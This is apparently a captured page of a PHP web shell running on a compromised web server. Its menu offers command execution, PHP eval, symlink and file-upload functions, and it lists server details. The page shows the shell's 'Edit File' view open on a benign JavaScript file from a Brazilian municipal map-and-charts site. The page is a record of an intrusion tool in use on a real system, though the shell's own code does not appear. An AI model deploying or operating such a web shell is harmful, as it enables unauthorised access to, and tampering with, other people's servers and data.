Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
5.6.40-0+deb8u12
Disk Space
40.79 GB
Server Addr
19-www4
Your IP
10.10.10.40
Edit File
File:
var sist = { graficos: '', // DADOS PARA GRAFICOS DE PIZZA E BARRAS allLayers:[], cidadeatual:{id:'', cd_meso:'', nome:''}, getGrafico: function(){ console.log('getGrafico'); $.ajax({ type: 'POST', url:'model/getGrafico', dataType:'json', data: { id: sist.cidadeatual.id }, error:function(status){ }, success: function( data ){ sist.graficos = data.dados; if(sist.graficos.municipio){ $('.todosGraficos').show(); sist.atualizaMapa(); } montaGraficos(); } }); }, atualizaMapa() { console.log('atualizaMapa'); // retira todos os layers for (var i = 0; i < sist.allLayers.length; i++) { sist.allLayers[i].setMap(null); } sist.allLayers = []; $('.camadaSelect.active') .sort(function (a, b) { return $(a).attr('data-ordem') - $(b).attr('data-ordem') }) .each(function(){ var select = $(this).data('select'); var from = $(this).data('from'); var tipo = $(this).data('tipo'); var cor = $(this).data('cor'); opt = { suppressInfoWindows: true, query: { select: select, from: from }, options: { styleId: 2, templateId: 2 } //, // styles : [ // { // polygonOptions: { // strokeColor: cor, // strokeOpacity: 1, // fillColor: cor, // fillOpacity: 1 // } // } // ] }; // if(tipo == 'Mesoregiões' || tipo == 'Municípios'){ // opt.styles[0].polygonOptions['fillOpacity'] = 0.01; // } if(tipo == 'Municípios' && sist.cidadeatual.id != ''){ opt.styles = [{ where: 'CD_GEOCODM = '+sist.cidadeatual.id, polygonOptions: { strokeColor: '#FF0000', strokeOpacity: 1, strokeWeight: 2 } }]; } //console.log(opt.styles); var layer = new google.maps.FusionTablesLayer(opt); layer.setMap(map); google.maps.event.addListener(map, 'mousemove',function(evento){ // console.log('over'); coordenadas.legenda(evento); }); google.maps.event.addListener(layer, 'mousemove',function(evento){ // console.log('over'); coordenadas.legenda(evento); }); sist.allLayers.push(layer); if(tipo == 'Municípios'){ google.maps.event.addListener(layer, 'click', function(e) { //console.log(e.row); console.log('GEO MUNI ' + e.row.CD_GEOCODM.value); sist.cidadeatual.id = e.row.CD_GEOCODM.value; sist.cidadeatual.nome = e.row.NM_MUNICIP.value; sist.cidadeatual.cd_meso = locais[ sist.cidadeatual.id ].cd_meso; $("#municipio").val(sist.cidadeatual.nome); $('.exibMunicipio').html(sist.cidadeatual.nome); //sist.atualizaMapa(); sist.getGrafico(); }); } }); } } var coordenadas = { lat:0, lng:0, tipo:'gms', legenda:function(evento){ if( evento != undefined ){ this.lat = evento.latLng.lat(); this.lng = evento.latLng.lng(); } if( this.tipo == 'gd' ) $('#b1alatlng').text(this.lat.toFixed(6) + ', ' + this.lng.toFixed(6)); else{ var lat = this.togms(this.lat), lng = this.togms(this.lng); lat += (this.lat < 0)?' S':' N'; lng += (this.lng < 0)?' O':' L'; $('#b1alatlng').text(lat+', '+lng); } }, togms:function(valor){ var g = Math.abs(valor); var m = (g - Math.floor(g)) * 60; var s = (m - Math.floor(m)) * 60; return ((g<10)?'0'+Math.floor(g):Math.floor(g))+' '+((m<10)?'0'+Math.floor(m):Math.floor(m))+' '+((s.toFixed(2)<10)?'0'+s.toFixed(2):s.toFixed(2)); } }; $('#b1agms').toggle( function(){ coordenadas.tipo = 'gd'; $(this).attr('title','Mudar as coordenadas de GD para GMS').text('GD'); if($('#b1alatlng').text() != '') coordenadas.legenda(undefined); }, function(){ coordenadas.tipo = 'gms'; $(this).attr('title','Mudar as coordenadas de GMS para GD').text('GMS'); if($('#b1alatlng').text() != '') coordenadas.legenda(undefined); } );